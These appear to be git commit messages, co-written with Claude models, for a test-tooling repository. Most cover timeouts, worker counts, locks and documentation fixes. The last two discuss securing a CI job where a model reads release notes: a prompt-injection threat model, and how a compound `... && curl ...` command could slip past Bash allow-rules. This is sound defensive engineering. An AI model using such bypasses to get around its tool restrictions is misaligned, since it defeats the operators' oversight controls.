AGENTS.md's SDK-watch section made the same current-state claim the
sdk-watch.mjs comments did; with the manifest and lockfile both at 2.0.0 it
was false. Describe the mechanism (a caret range CAN resolve higher) instead.
Raised by Copilot on #2358 as a suppressed finding.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
The 5000 arms of #2335's re-run each had exactly one red test — the
asyncUtilTimeout guard refusing the raised value — so "0 failures in
every arm" was a misstatement; both comments now say so. And the
AGENTS.md rule still gave the expiring-wait mechanism as the reason the
pin was measured worse, which the corrected record contradicts; it now
cites both measurements and keeps the mechanism as the hazard the rule
guards against.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
The five rows #2323 left as "assess", each either stated with its
reasoning and measurement, or shared with a constant that already has one.
- F4/F5: `driveAppFlow` and `connectViaDeepLink` default to
`BROWSER_TIMEOUTS.ui` / `.roundTrip` instead of restating 30_000 /
45_000 by hand; values unchanged, now one place to raise. A test in each
helper pins the defaults.
- F1: `announced-child.mjs` states `DEFAULTS` ({ timeoutMs: 30_000,
pollMs: 250 }) with the measurement — boot-to-announce of the composable
test server is 135ms median at load average 15, and a passing start pays
one poll interval, not the budget.
- F7: `pty.mjs` names `SCRIPT_PROBE_TIMEOUT_MS` (5s; the probe spawns in
1.3ms median, 3.6ms max under load) and stops folding ETIMEDOUT into
"no script(1)": a starved probe now fails `smoke:tui` loudly instead of
turning it into an exit-0 skip.
- G1: every job in `.github/workflows/main.yml` declares
`timeout-minutes` as a hung-job guard — roughly twice the slowest run
observed over the last 40 push runs (and the last three releases for the
publish jobs), rounded up to the next five minutes, with the range stated
per job.
AGENTS.md's timeout section now points at where these live instead of at
this issue.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot review round 2: both expressions omitted Vitest's `max(…, 1)`, so
as written they described zero workers on a one-core runner. Now
`max(availableParallelism() - 1, 1)` for the forks pool and
`max(min(12, availableParallelism() - 1), 1)` for the browser pool, and the
browser pool's single-worker condition names all three of its terms
(headless, file parallelism, provider support).
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot review round 1: "every project inherits availableParallelism() - 1"
overstated the scope. The five forks-pool projects do; web's storybook
project runs the browser pool, whose default is min(12, availableParallelism()
- 1) — the same 7 on this machine, but a different expression, capped on
larger machines and 1 unless headless — and none of the arms measured it. A
maxWorkers set on that project would still apply (getThreadsCount reads it
first), so it is not exempt from the decision, only unmeasured; both files
now say so.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
No Vitest project sets `maxWorkers`, so every one inherits Vitest's
`availableParallelism() - 1` (7 on the team's M3). #2336 asked whether that
number should be stated or capped. Measured at the leased baseline (#2339),
interleaved default / --maxWorkers=4 / default, three rounds each: a cap of 4
costs +14% wall on the web unit suite and +39% on coverage:web, saves 18-22%
CPU, and prevents zero failures (0 of 18 runs either way). Against a sibling
session's concurrent unit run it is a small politeness trade with no
throughput gain; the only failures seen were one test's 5s inner waitFor at
14 workers, which is a site to fix rather than a reason to cap.
So the default is kept, as a chosen value: the reasoning and the numbers sit
beside TIMEOUTS in vitest.shared.mts, and AGENTS.md carries the rule so a
reviewer can cite it against a future per-project cap. CI is unaffected.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
- The holder-record removal is best-effort and can no longer throw past
release(); ERELEASED on release is the library having already dropped a
taken-over lock, so it is ignored rather than described as a lock that
"goes stale on its own".
- The signal test's stand-in now spawns a descendant of its own, so the
whole-process-group guarantee is what the test asserts: a regression to
child.kill() or a non-detached spawn leaves the descendant alive and fails.
- The three docs no longer claim a dead holder is always recovered in 30s:
a stale lock directory that cannot be removed runs the wait to its
45-minute cap and names the path.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
`npm run local:gate` now runs its stages under `scripts/gate-lease.mjs`, a
`proper-lockfile` lease under `os.tmpdir()` (or `$XDG_RUNTIME_DIR`), so a gate
started in a second worktree waits for the first instead of overlapping it.
Measured on v2/main @ aa56551b: a quiet gate is 257s green; two started
together had one fail at 279s (`smoke:web:chromium` found port 6298 held by
the other gate's smoke) and the survivor take 338s. Under the lease, three
gates started within seconds ran back to back (259s, then 262s, then the
third), each green with zero timeouts.
The lease grants rather than polls a threshold, so two waiters cannot
deadlock on each other; a holder that dies stops refreshing and is taken over
after 30s; a signal to the wrapper stops the whole process group, releases,
and exits 128+signal; the wait names the holder's pid and worktree and gives
up after 45 minutes. `INSPECTOR_SKIP_GATE_LEASE=1` bypasses it. A lock that
cannot be created runs the gate unleased with a warning.
`scriptChainRuns` looks through the wrapper (and only it) so the existing
vouches about what `local:gate` runs keep reading the real chain.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
- `reachableScripts` now follows every npm spelling of `run` — the
canonical `run-script` and its `run`/`rum`/`urn` aliases — with a unit
case, so `npm run-script validate:web` appended to `local:gate` fails
the whole-gate check instead of slipping past it.
- docs/quality-gate.md `verify:skills` row, AGENTS.md skills rule 1 and the
#2085 narration now describe the actual chain (`validate:guards`, reached
by both `validate` and `local:validate`) and the qualified promise.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
- Reword the CI guarantee in AGENTS.md, docs/quality-gate.md and the
pre-push-gate skill: a green gate means every check CI applies has
passed here — the strongest predictor of green CI, not a proof — and
name the residual (a test that passes only when slowed) as #1596's
class to fix rather than headroom to keep.
- docs/quality-gate.md: cli's validate DID build, through `test`'s
`pretest` hook; say that the build goes with the dropped `test` leg and
`coverage:cli` builds once, later — in both places.
- Update the two source comments that still described `local:gate` as
running `validate` (verify-skills.mjs, verify-build-gate.mjs).
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
`local:gate` ran every client's unit suite bare inside `validate` and
again instrumented inside `coverage` — ~80s of a ~370s run re-executing
exactly the files the coverage pass runs a few minutes later. CI pays
nothing for that duplication because its two jobs run in parallel; the
gate runs serially, so it paid all of it.
The gate's first stage is now `local:validate`: the same `validate:guards`
and `validate:core`, then each client's new `check` script (`format:check`
+ `lint` + `typecheck` + `build`) instead of its `validate`, which is now
literally `check && test`. `npm run validate` and both CI jobs are
unchanged; `local:validate` sits in the `local:` namespace so the
workflow guard keeps it out of CI by construction.
The "strict superset" claim in AGENTS.md is reworded to what is now
true — every CI *check*, not every CI *invocation* — with the reasoning:
`@vitest/coverage-v8` reads V8's precise-coverage profiler and rewrites
no source, so the instrumented pass runs byte-identical code and is only
slower, the stricter direction for the failure class this repo sees.
Measured on the same worktree: 370s -> 262s wall (EXIT=0 both), the
four removed legs summing to 78.5s in the baseline run's own profile.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
Round 8 of the review asked for an AST. That was the right diagnosis of the
wrong problem: the question was never which parser to use, it was why a
test-timeout guard was parsing JavaScript at all.
It got there one reasonable step at a time. The guard enforces two rules no
Vitest config can report — a per-test `retry`, and Testing Library's
`asyncUtilTimeout` — so it read them out of source text, and the review found a
new valid spelling it missed in five consecutive rounds: a trailing comment,
nested parens in `it.each([makeCase()])`, a member-access prefix, the shorthand
`{ retry }`, an aliased import, a non-literal title. Each fix was correct and
each made it more parser-shaped, until it carried eight helpers doing quote
tracking and bracket balancing.
Both rules are observable at runtime, exactly:
- `vitest.setup.shared.mts` is loaded by all six projects and reads
`ctx.task.retry` — the value Vitest resolved for the test. That covers
strictly more than the scan did: a per-test option, a `describe` option
inherited by children, a project-level setting, and a `--retry` flag typed at
a command line, which the scan could never see since it only read npm scripts.
- `clients/web/src/test/asyncUtilTimeout.test.ts` asserts
`getConfig().asyncUtilTimeout`, the value this project's own waitFors read.
Neither has a spelling to anticipate, so neither can be outrun by a new one.
Both were observed firing before being trusted.
The guard keeps only what it can answer by asking Vitest: resolved budgets,
project-level retry, config discovery, and that each project still loads the
setup file — the one thing about the runtime assertion a config CAN report.
868 lines to 361, every scanner helper gone, and 33 of 48 unit tests deleted
because they pinned edge cases of a thing that no longer exists.
storybookSetup.ts goes with it. At the library's own value its configure() call
was a no-op, and the assertion is what pins the number.
AGENTS.md gains the general rule: a rule about what the code DOES is asserted at
runtime, not read out of the source — reach for a verify:* guard when the
question is about configuration, which a tool can be asked to resolve.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
The nesting rule in AGENTS.md was written backwards. "Never nest a budget inside
an equal-or-larger one" forbids the two arrangements this PR deliberately ships
(5s inside 15s, 15s inside 25s) and permits the broken one it exists to prevent.
It now says what it means: an inner budget must be strictly smaller than the
budget enclosing it, arranged by raising the outer rather than shrinking the
inner, since the inner is the bound carrying the useful diagnostic.
The retry scan is structural now rather than a regex. A character class cannot
step over a chain argument containing nested parentheses, so
`it.each([makeCase()])` and `it.skipIf(() => isWindows())` were silently
skipped — the second blind spot of the same kind in two rounds, which is what
makes the pattern the wrong tool. A bracket matcher that skips string literals
handles both, and the positional requirement that keeps fixture data and
`client.retry` out of the results is unchanged. Seven positive forms and six
false-positive shapes are pinned.
The asyncUtilTimeout check read only the first configure() call, so a file
holding the expected call followed by an overriding one passed while its
effective timeout was something else. Every call is inspected and all of them
must agree, which is stricter than checking the last and gives a message naming
the offending value.
Also corrected two PR-description bullets that still described superseded
behavior: the cli child timer stays at 15_000 with the test raised to 25_000,
and AppRenderer's waitFor keeps its 5000 rather than losing it.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
The inline finding was a real bug: main() never called the discovery check, so
the deny-by-default claim rested on test:scripts happening to run the same
comparison — a different command, which `npm run verify:test-timeouts` does not
invoke. `failures` is now seeded from it, and a probe config under clients/ was
observed to fail the guard.
Three suppressed findings, all correct. The afterEach in oauth-interactive
restated the shared hookTimeout and labelled it as a round trip, when it only
stops a server and unlinks a file; it now carries no budget. The file-lock
constants were named for the opposite of what they bound — 90s covers retries
running out against a holder that never yields, 60s covers the stale-lock
takeover that succeeds — so they are LOCK_RETRIES_EXHAUSTED_MS and
STALE_LOCK_TAKEOVER_MS. The browser-timeouts header said 15 budgets; it is 19.
Separately, and more importantly: the asyncUtilTimeout raise is reverted, on
measurement. Verifying round 2 turned up intermittent 15s timeouts across
unrelated unit files, so three arms of three full unit runs were taken in this
worktree at comparable load — unmodified v2/main 3/3 green, this change with
5000 producing 1, 4 and 0 timing-out files, and the same change with that one
line reverted 3/3 green. A wait that is MEANT to expire spends its whole budget
on the happy path, so a 5x raise is a 5x cost on exactly those tests and
saturates the worker pool, starving tests that were never slow.
Both web setup files therefore state asyncUtilTimeout at the library's own
value rather than raising it, which is what #2323's rule actually asks for: a
budget nobody chose is the defect, not a budget that is small. The tests that
assert absence by letting a wait expire are the real problem and are #2335.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
All nine findings taken.
Two budgets I had lowered are restored as named exceptions rather than folded
into the shared value. cli's e2e child timer goes back to 15s and the two tests
that spawn it get E2E_SPAWN_MS = 25s, so the bound carrying the diagnostic still
wins without taking load tolerance off the one suite that spawns a real process.
App.test.tsx's three-modal sequence keeps THREE_MODAL_SEQUENCE_MS = 20s — a
value chosen against an observed failure, which the shared ceiling would have
replaced with a general one.
Three real false-positive paths in the guard are closed. It now discovers every
Vitest config under clients/ and fails on one it is not configured to check —
without which "a project with no row is an error" was vacuous, since an
undiscovered config yields no project to reject. It strips comments before
looking for configure() and requires the exact expected value, so neither a
commented-out call nor asyncUtilTimeout: 1 passes. And it compares each
resolved project's setupFiles against the site it claims to configure, so
deleting a setupFiles entry can no longer leave both projects reported as
configured while Testing Library silently reverts to 1000ms. Each has a test,
and the setupFiles check was observed to fire against a real deletion.
Three stale comments the change had invalidated: main.yml still counted four
durable guards, PreviewAnnotations.stories.tsx still said the storybook project
had no setupFiles, and the new AGENTS.md rule read as though no Group F row had
been settled when this PR settles F6. browser-timeouts.test.mjs gains the
purpose header this repo's files carry.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
#2323 left five smoke and CI budgets as "assess"; they are now #2333, so the
rule says where they went rather than reading as if they were covered.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
Three of the six Vitest projects ran on Vitest's own testTimeout: 5000 and
five on its hookTimeout/teardownTimeout: 10000, and all 788 Testing Library
waits in the web unit project ran on asyncUtilTimeout: 1000. None of those
numbers was chosen here, and all of them were sized for an idle machine rather
than for three or four concurrent worktree sessions each running a full
local:gate on eight cores. #2292, #2278, #2250, #1942 and #1742 were each that
class, diagnosed one site at a time.
This is the complement of #1596, not a retreat from it: every fix that issue
produced stands, and no race is hidden here. What changes is that a correct,
deterministic test is no longer cut off by a budget nobody picked.
- vitest.shared.mts exports frozen TIMEOUTS / INTEGRATION_TIMEOUTS; all six
projects spread one of them, clients/launcher importing the shared module for
the first time to do so.
- Both web projects configure Testing Library's asyncUtilTimeout. The storybook
one needs its own setup file, deliberately outside .storybook/ and free of
setProjectAnnotations so the automatic preview-annotation provisioning
(#1898) is untouched.
- 28 per-suite restatements of the integration project's own budget are gone,
so raising the shared value now moves every site under it. The handful that
genuinely differ — cross-process lock contention, a full OAuth round trip —
keep their budget as a named constant that says why.
- AppRenderer's waitFor no longer asks for exactly its enclosing budget, which
it could never win (#2292's shape); cli's e2e child timer drops below the
project budget so the bound carrying the diagnostic is the one that fires.
- The transition auto-settle's slack term is named RAF_SLACK_MS and raised;
the term derived from HEADER_ANIM_MS is untouched. The two answer to
different things and must not be scaled as one number.
- The 19 Playwright budgets scattered across three web smokes become four
named constants in scripts/lib/browser-timeouts.mjs.
scripts/verify-test-timeouts.mjs resolves each project through Vitest itself
and asserts the budgets, the asyncUtilTimeout sites, and that retry stays
unset. It was observed red against the pre-change config: unit/tui/launcher at
testTimeout 5000, five projects at hookTimeout 10000, both asyncUtilTimeout
sites unmet.
Closes#2323
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
* chore: land the #2247 round-9 review findings on v2/main
Copilot filed a ninth review round on #2247 after it had merged, so none of
it reached v2/main. All five findings are addressed here.
1. The testing -> test-servers hand-off delivered the wrong half of the
procedure. test-servers documented only the two-process manual path
(server-composable.js --config <name>.json plus a second Inspector
process), but an integration test builds the server in-process from the
@modelcontextprotocol/inspector-test-server API and owns its lifecycle.
Adds a "Two ways to use a fixture — pick the right one first" section
with the in-process recipe, the four mechanics that bite (one barrel,
start/stop in afterEach, read started.url, era is a constructor option),
and a pointer to the reference test; renames "Run one" to "Run one by
hand (two processes)" so the manual path names itself. testing now says
in the connecting bullet that an automated test does NOT spawn.
2. testing's heading asked "does the test need a real server?", which its
own hand-rolled-server exception contradicts. It now asks whether the
test uses a test-servers/ fixture.
3. "imports" was too broad a dependency test — test-server-scope.test.ts
imports the package to unit-test scope middleware as a pure function and
never starts a server. The condition is now "starts, spawns, or
configures", with that test named as the counterexample.
4. docs/skill-authoring.md attributed the 33% -> 100% rise to imperative
wording and placement independently. The #2247 edit changed both at
once, so only the combination is established; the split into two levers
is now labelled the plausible mechanism, not a measured result.
5. The CHAIN_THRESHOLD comment generalised "a well-shaped pointer clears
0.8" from one two-case run of that same multi-variable edit. It now
reads as an existence proof about the ceiling, not a property of
pointers in general.
Also records the headline lesson where it can be found again: a green
hand-off number proves skill B loaded, never that B answered the question —
in AGENTS.md's chain-case rules and in the skill-authoring checklist.
Docs, skill bodies and one comment only; no runtime code changes.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018zwYWanPhvgu6wiKoeGg4N
Signed-off-by: cliffhall <cliff@futurescale.com>
* fix: address Copilot review round 1 on #2264
The new section claimed two shapes and there are three — the automated
stdio path was missing, and it is the repo's established pattern
(getTestMcpServerCommand() into a stdio transport, used by five web
integration files and the whole CLI suite). Telling callers an automated
test "does not spawn" told them not to use it.
- test-servers: "Two ways" -> "Three ways", with a table and a subsection
for the spawned-stdio shape — the transport owns the child (disconnect,
not stop()), no config can be selected because that entry point runs the
stdio default, and it is still the build. Names a reference test for it.
- test-servers: the build is no longer scoped to the manual path. All three
shapes resolve test-servers/build/ — two through the barrel alias, one by
running the emitted .js — so the staleness hazard is called out as
applying to every shape, and `Build first` no longer opens by claiming
the only reason is subprocess spawning.
- testing: the "does not spawn" instruction is replaced by the two
automated shapes and when to pick each. What they share, and what the
hand-off actually needed to say, is that neither picks a showcase config.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018zwYWanPhvgu6wiKoeGg4N
Signed-off-by: cliffhall <cliff@futurescale.com>
* fix: address Copilot review round 2 on #2264
Round 1 fixed the missing stdio shape but kept the wrong axis. Cutting
the taxonomy by "automated vs by hand" excluded the config-driven smokes
— smoke-web-elicitation.mjs spawns server-composable.js --config
directly, and lib/mcp-app-flow.mjs does it for smoke:web:app,
smoke:web:tabs and pack:verify. Those are automated AND need every bit
of the config and protocol-era guidance a person at two terminals does,
so the skill was routing their authors away from it.
- test-servers: the cut is now how the SERVER IS STOOD UP, stated as
such. Third shape is "spawned composable HTTP", whose consumers are
the smokes, pack:verify, and a person by hand — the config/era
guidance belongs to the shape, whoever starts it. Table gains a
Consumers column and loses the Who column that caused this.
- test-servers: the stale "an automated test builds the server
in-process instead" line under `Run one by hand` is gone (suppressed
comment); that heading is now the same shape driven by a person.
- testing: routes by what is driving — integration/CLI test to
in-process HTTP, stdio-is-the-point to spawned stdio, and a smoke to
the composable-config path with the era guidance it actually needs.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018zwYWanPhvgu6wiKoeGg4N
Signed-off-by: cliffhall <cliff@futurescale.com>
* fix: address Copilot review round 3 on #2264
Round 2 replaced one wrong axis with a narrower one: it routed "a smoke"
wholesale to the config-driven composable path, and smoke:cli does not
use it. smoke-cli.mjs starts an in-process createTestServerHttp for the
header round-trip (so it can read back what the CLI sent) and writes the
built stdio entry into a --catalog for the connect checks; smoke:tui uses
only the latter. Neither picks a config.
- test-servers: consumers filled in per row — in-process HTTP gains CLI
tests and smoke:cli, spawned stdio gains smoke:cli and smoke:tui, and
the composable row is narrowed to the WEB smokes. A warning states the
point directly: "a smoke" is not a shape, pick by the row.
- test-servers: the stdio shape now covers naming the built entry in a
catalog without connecting, which is what those two smokes do.
- testing: same narrowing, plus the reason spelled out so the word
"smoke" stops being a routing key.
- testing: the dependency criterion said "starts, spawns, or configures",
which excluded the build-only smoke:tui case documented directly above
it — the skill both required and rejected the hand-off for it
(suppressed comment). It now reads "starts, spawns, configures, or
hands a built entry to the subject under test".
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018zwYWanPhvgu6wiKoeGg4N
Signed-off-by: cliffhall <cliff@futurescale.com>
---------
Signed-off-by: cliffhall <cliff@futurescale.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
Moves `vitest` and `@vitest/coverage-v8` (root) and
`@vitest/browser-playwright` (web) from 4.1.10 to 4.1.11, clearing the
moderate, dev-only path-traversal advisory against `@vitest/mocker`.
The three pins alone do not resolve: `@vitest/browser-playwright`
declares an exact peer on `vitest`, web does not declare `vitest`
itself, and web's lockfile pins that peer-shadowed copy at 4.1.10 — a
knot npm refuses rather than resolves. Regenerating web's lockfile
clears it but re-resolves the whole tree, so this instead adds a
`vitest` `overrides` entry to `clients/web/package.json`, the mechanism
AGENTS.md already prescribes for a transitive that will not move.
Churn stays inside the vitest constellation: ten `@vitest/*` + `vitest`
entries to 4.1.11, plus their own transitives (`obug`, `tinyexec`,
`chai`). `clients/{cli,tui,launcher}` lockfiles are untouched, and
`npm audit` reports no advisory in any of the five installs.
AGENTS.md records the fourth edit, since the three-pin rule as written
is necessary but not sufficient.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BkS1cKEesxXwSckjBpJBt6
Signed-off-by: cliffhall <cliff@futurescale.com>
Ink writes styling as escape sequences inside the styled run, so an
accelerator underline splits the word it decorates: `<Text underline>I</Text>nfo`
reaches the frame buffer with escapes between `I` and `nfo`, and a plain
`toContain("Info")` fails against a component that is rendering correctly.
Chalk only emits color when it detects a TTY, so CI stays green and the six
failures land only on a developer whose shell exports FORCE_COLOR.
Add `__tests__/helpers/renderTui.tsx` — ink-testing-library's `render` with
`lastFrame()` and `frames` ANSI-stripped — and point all 16 renderer test
files at it. `frames` is a getter reading through to the live array, since
Ink appends to it as the component re-renders; the raw bytes stay reachable
as `stdout.lastFrame()`.
Pinning FORCE_COLOR=0 would turn the six green while hiding the class: any
future assertion on styled text has the same problem, and the suite would
stop covering the styled path at all.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MFp2LVH7UJST5i8bDBJghw
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot review round 1 on #2273: the text said only a reply in the thread "can
resolve it", which is wrong — resolution is a separate act (the Resolve
conversation button, or the resolveReviewThread GraphQL mutation) and it is the
reviewer's to make. Reading it as satisfied by the documented REST reply is
exactly the wrong conclusion for a PR whose whole point is what a reply does.
State what the reply actually buys: it is the only thing a reviewer reading that
thread sees, and it is what makes resolving the thread defensible.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017nLLLTGc37hQiC8s3mNyhq
Signed-off-by: cliffhall <cliff@futurescale.com>
pr-flow §8's "mirror each round at PR level" was being read as permission to
skip the inline reply, so the rollup got posted and the per-thread replies never
happened. A bullet elsewhere on the page cannot be connected back to the thread
it answers: the thread stays open showing a finding and silence, and by round
three matching bullets to comments is reconstruction rather than reading.
- AGENTS.md, "Responding to Code Reviews": says where the response goes, which
was the ambiguity being resolved the wrong way — inline in the comment's own
thread, with the rollup in addition, never instead.
- pr-flow §8 reorders the two so the primary is unmistakable, and keeps the
reason the mirror exists (threads go outdated once the fix is pushed) as a
rationale for it rather than an alternative to the inline reply.
- Both name the exception: a finding in the "Suppressed comments" block has no
comment id and so no thread to reply into, making the mirror its only home.
- §8 gains the two mechanics, so the easy path is not the only documented one:
the reply endpoint keyed by comment id, and fetching comments per review by
review id, since the unpaginated /reviews listing hides later rounds behind
your own replies.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017nLLLTGc37hQiC8s3mNyhq
Signed-off-by: cliffhall <cliff@futurescale.com>
Agents routinely spend turns tight-polling for a condition that was already
going to notify them — ~80 consecutive no-op turns waiting out one local:gate
run on #2250, with a completion notifier for that very process already armed.
The convention existed only in a per-user memory note, which is invisible to
anyone else and cannot be relied on mid-session.
- AGENTS.md gains a "Waiting on long-running work" section: arm a notifier and
stop; one notification is a backgrounded command or a single `until` loop, many
is a Monitor. It states the one genuine exception — state the harness cannot
observe — and says where the poll belongs in that case, inside one backgrounded
loop rather than spread across turns.
- pre-push-gate points at it where the gate is actually run.
- pr-flow §7 points at it where the Copilot review is actually waited on, with
the loop written out. The count-not-existence trap is called out: on round two
the first round's review is still there, so `-ge 1` returns immediately.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017nLLLTGc37hQiC8s3mNyhq
Signed-off-by: cliffhall <cliff@futurescale.com>
Two unrelated things, both touching the same security notes.
## Round 6 findings
1. The credential scan ran too late to be a backstop. The analysis was
uploaded as an artifact and only scanned in the posting job — but this
repo is public, so an artifact holding a verbatim credential is
downloadable for its whole retention window. Refusing to POST text
that has already left the job refuses nothing. The scan now gates the
WRITE, in the same step that writes `analysis.md` (not two steps: a
failure between a passing scan and a separate write would leave the
file for the upload to collect), and the upload is gated on
`hashFiles('analysis.md')`. The posting job scans again, since the
artifact is the boundary and each side should check what it handles.
2. The permissions test failed open on the input it existed to catch.
GitHub accepts the shorthand `permissions: write-all`, and
`Object.entries("write-all")` iterates the string's CHARACTERS — so
the scan for a `write` value found nothing and the test passed green
while the model held every scope. It now rejects a non-mapping
outright and asserts the exact value.
3. (Suppressed.) The security prose in AGENTS.md still described the
same-job, environment-variable handoff that two rounds had already
replaced. Rewritten around the two boundaries the write-up actually
crosses now. Worth noting the pattern rather than just the instance:
this was the third round running in which I changed the mechanism and
left the prose describing the previous one, and stale security prose
is worse than none — the next person preserves properties the code no
longer has.
## Closing #2269
Filed during round 3 to replace the long-lived ANTHROPIC_API_KEY with
workload identity federation. Closed as not planned, because the threat
model behind it does not hold.
Every round escalated on "the model reads UNTRUSTED upstream release
notes" and I accepted that framing without checking it. Both upstreams
this sweep watches — modelcontextprotocol/typescript-sdk and
modelcontextprotocol/ext-apps — are in this repository's own org, with
release notes written by the same maintainer group. That is first-party
content, and anyone able to plant an injection in it already holds
release rights here.
Federation was reachable, so this is a judgement rather than a
capitulation: issuers and rules are creatable via
`client.beta.organization.federation.*`, and for GitHub Actions the
issuer is the standard token.actions.githubusercontent.com with JWKS
discovery. But those endpoints reject plain API keys and need an
`org:admin` OAuth token, making it org-admin work on the Anthropic
organization — disproportionate against our own changelogs.
The assessment is recorded rather than deleted. AGENTS.md and the
workflow comment now state the residual channel AND what makes it
acceptable, so pointing this at an upstream outside the org, or at
third-party content, is a documented trigger to re-open the question.
Mutation-checked, each failing a different set:
permissions: write-all on analyze -> no model runs in a job that can write
upload re-gated on structured_output -> the scan-ordering test
62 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings. The first ends a pattern rather than patching it again.
1. The tool grants did not enforce the boundary they claimed, for two
reasons. `--allowedTools` only PRE-APPROVES; `--tools` is what
restricts availability — a distinction this repo had already learned
and written down in `scripts/skill-eval.mjs`, and which I failed to
apply here. And a `Bash(...)` rule can match a COMPOUND command
(`gh release view … && curl …`), so the denials could be walked past.
That is the fourth grant in this review whose real surface was wider
than it looked, after `gh api`, `gh issue comment --body-file` and
`npm view --registry`. Each fix scoped the command and left something
else open, so this one removes the capability instead: THE MODEL NOW
HAS NO BASH AT ALL.
Upstream release notes are prefetched by a deterministic `run:` step
into `upstream-release-notes.md` (the 30 most recent releases via
`gh api`), and the prompt points the model at that file and tells it
to say so plainly if the range it needs is absent. Verified against
the real ext-apps releases API. The model's tools are now
`--tools "Read,Grep,Glob"` for availability, the same three in
`--allowedTools` so no headless run stalls on an unanswerable prompt,
and `--disallowedTools` naming Bash and the write/network tools as a
third layer — the same three-part shape `skill-eval.mjs` uses.
2. The security documentation asserted something false. `sweep` inherits
`issues: write` because filing issues is its purpose, so "the ONLY job
holding a token that can write" was never true. Both AGENTS.md and the
workflow comment now state the actual invariant: NO MODEL RUNS IN A
WRITE-CAPABLE JOB. Two of three jobs write; neither runs a model.
The test changed with it, and this is the substantive half: it was
asserting `analyze.permissions === {contents: read}`, which is one
job's slice and would have passed happily if someone added a model
step to `post`. It now iterates EVERY job and, for each that runs
`claude-code-action`, asserts no write scope and no posting step —
falling back to the inherited top-level permissions, so an omitted
`permissions:` block fails rather than defaulting silently.
3. (Suppressed.) The generated checklist told maintainers to edit
`package.json` unconditionally, which is wrong for the one case this
script models separately: `ext-apps` is `^1.7.4`, which already admits
a 1.8.0 target, so only the lockfile moves. `needsManifestEdit` now
selects the checklist items by asking whether each behind row's
declared range admits the target — exact pins need the edit, satisfied
ranges do not, and an unparseable declaration errs toward asking for a
look.
